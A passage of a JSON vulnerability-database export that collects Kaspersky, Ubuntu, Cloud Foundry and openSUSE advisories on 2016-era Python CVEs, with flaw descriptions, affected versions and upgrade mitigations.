products*:\n[Python](<https://threats.kaspersky.com/en/product/Python/>)\n\n### *CVE-IDS*:\n[CVE-2016-5699](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5699>)4.3Warning \n[CVE-2016-5636](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5636>)10.0Critical \n[CVE-2016-0772](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0772>)5.8High", "edition": 43, "modified": "2020-05-22T00:00:00", "published": "2016-02-09T00:00:00", "id": "KLA10866", "href": "https://threats.kaspersky.com/en/vulnerability/KLA10866", "title": "\r KLA10866Multiple vulnerabilities in Python ", "type": "kaspersky", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "ubuntu": [{"lastseen": "2020-07-02T11:35:31", "bulletinFamily": "unix", "cvelist": ["CVE-2016-0772", "CVE-2016-5636", "CVE-2016-1000110", "CVE-2016-5699"], "description": "It was discovered that the smtplib library in Python did not return an \nerror when StartTLS fails. A remote attacker could possibly use this to \nexpose sensitive information. (CVE-2016-0772)\n\nR\u00e9mi Rampin discovered that Python would not protect CGI applications \nfrom contents of the HTTP_PROXY environment variable when based on \nthe contents of the Proxy header from HTTP requests. A remote attacker \ncould possibly use this to cause a CGI application to redirect outgoing \nHTTP requests. (CVE-2016-1000110)\n\nInsu Yun discovered an integer overflow in the zipimporter module in \nPython that could lead to a heap-based overflow. An attacker could \nuse this to craft a special zip file that when read by Python could \npossibly execute arbitrary code. (CVE-2016-5636)\n\nGuido Vranken discovered that the urllib modules in Python did \nnot properly handle carriage return line feed (CRLF) in headers. A \nremote attacker could use this to craft URLs that inject arbitrary \nHTTP headers. This issue only affected Ubuntu 12.04 LTS and Ubuntu \n14.04 LTS. (CVE-2016-5699)", "edition": 5, "modified": "2016-11-22T00:00:00", "published": "2016-11-22T00:00:00", "id": "USN-3134-1", "href": "https://ubuntu.com/security/notices/USN-3134-1", "title": "Python vulnerabilities", "type": "ubuntu", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "cloudfoundry": [{"lastseen": "2019-05-29T18:32:59", "bulletinFamily": "software", "cvelist": ["CVE-2016-0772", "CVE-2016-5636", "CVE-2016-1000110", "CVE-2016-5699"], "description": "USN-3134-1: Python vulnerabilities\n\n# \n\nMedium\n\n# Vendor\n\nCanonical Ubuntu\n\n# Versions Affected\n\n * Canonical Ubuntu 14.04 LTS \n\n# Description\n\nIt was discovered that the smtplib library in Python did not return an error when StartTLS fails. A remote attacker could possibly use this to expose sensitive information. ([CVE-2016-0772](<http://people.ubuntu.com/~ubuntu-security/cve/CVE-2016-0772>))\n\nR\u00e9mi Rampin discovered that Python would not protect CGI applications from contents of the HTTP_PROXY environment variable when based on the contents of the Proxy header from HTTP requests. A remote attacker could possibly use this to cause a CGI application to redirect outgoing HTTP requests. ([CVE-2016-1000110](<http://people.ubuntu.com/~ubuntu-security/cve/CVE-2016-1000110>))\n\nInsu Yun discovered an integer overflow in the zipimporter module in Python that could lead to a heap-based overflow. An attacker could use this to craft a special zip file that when read by Python could possibly execute arbitrary code. ([CVE-2016-5636](<http://people.ubuntu.com/~ubuntu-security/cve/CVE-2016-5636>))\n\nGuido Vranken discovered that the urllib modules in Python did not properly handle carriage return line feed (CRLF) in headers. A remote attacker could use this to craft URLs that inject arbitrary HTTP headers. This issue only affected Ubuntu 12.04 LTS and Ubuntu 14.04 LTS. ([CVE-2016-5699](<http://people.ubuntu.com/~ubuntu-security/cve/CVE-2016-5699>))\n\n# Affected Products and Versions\n\n_Severity is medium unless otherwise noted. \n_\n\n * Cloud Foundry BOSH stemcells are vulnerable, including: \n * All versions prior to 3151.5 \n * 3233.x versions prior to 3233.6 \n * 3263.x versions prior to 3263.12 \n * 3312.x versions prior to 3312.7 \n * All other versions \n * All versions of Cloud Foundry cflinuxfs2 prior to v.1.92.0 \n * Python Buildpack versions prior to v1.5.8 \n\n# Mitigation\n\nUsers of affected versions should apply the following mitigation:\n\n * The Cloud Foundry team recommends upgrading to the following BOSH stemcells: \n * Upgrade all lower versions of 3151.x to version 3151.5 \n * Upgrade all lower versions of 3233.x to version 3233.6 \n * Upgrade all lower versions of 3263.x to version 3263.12 \n * Upgrade all lower versions of 3312.x to version 3312.7 \n * The Cloud Foundry project recommends that Cloud Foundry deployments run with cflinuxfs2 v.1.92.0 or later versions \n * For existing deployments, upgrade the Python Buildpack to v1.5.8 or later and restage all applications that use automated buildpack detection. \n\n# Credit\n\nR\u00e9mi Rampin, Insu Yun, Guido Vranken\n\n# References\n\n * <https://www.ubuntu.com/usn/usn-3134-1>\n * <http://people.ubuntu.com/~ubuntu-security/cve/CVE-2016-0772>\n * <http://people.ubuntu.com/~ubuntu-security/cve/CVE-2016-1000110>\n * <http://people.ubuntu.com/~ubuntu-security/cve/CVE-2016-5636>\n * <http://people.ubuntu.com/~ubuntu-security/cve/CVE-2016-5699>\n * <https://github.com/cloudfoundry/python-buildpack/releases>\n", "edition": 5, "modified": "2016-12-14T00:00:00", "published": "2016-12-14T00:00:00", "id": "CFOUNDRY:596815DF0937570BB2850A53D4DFA6B2", "href": "https://www.cloudfoundry.org/blog/usn-3134-1/", "title": "USN-3134-1: Python vulnerabilities | Cloud Foundry", "type": "cloudfoundry", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "suse": [{"lastseen": "2020-01-22T00:26:21", "bulletinFamily": "unix", "cvelist": ["CVE-2019-16935", "CVE-2019-9636", "CVE-2016-0772", "CVE-2013-4238", "CVE-2014-2667", "CVE-2018-1000802", "CVE-2011-4944", "CVE-2018-20406", "CVE-2019-16056", "CVE-2012-1150", "CVE-2011-3389", "CVE-2018-1060", "CVE-2012-0845", "CVE-2016-5636", "CVE-2018-20852", "CVE-2018-1061", "CVE-2016-1000110", "CVE-2019-9947", "CVE-2018-14647", "CVE-2013-1752", "CVE-2017-18207", "CVE-2019-5010", "CVE-2019-10160", "CVE-2019-15903", "CVE-2014-4650", "CVE-2016-5699"], "description": "This update for python3 to version 3.6.10 fixes the following issues:\n\n - CVE-2017-18207: Fixed a denial of service in Wave_read._read_fmt_chunk()\n (bsc#1083507).\n - CVE-2019-16056: Fixed an issue where email parsing could fail for\n multiple @ (bsc#1149955).\n - CVE-2019-15903: Fixed a heap-based buffer over-read in libexpat\n (bsc#1149429).\n\n This update was imported from the SUSE:SLE-15:Update update project.\n\n", "edition": 1, "modified": "2020-01-21T21:14:40", "published": "2020-01-21T21:14:40", "id": "OPENSUSE-SU-2020:0086-1", "href": "http://lists.opensuse.org/opensuse-security-announce/2020-01/msg00040.html", "title": "Security update for python3 (important)", "type": "suse", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}]}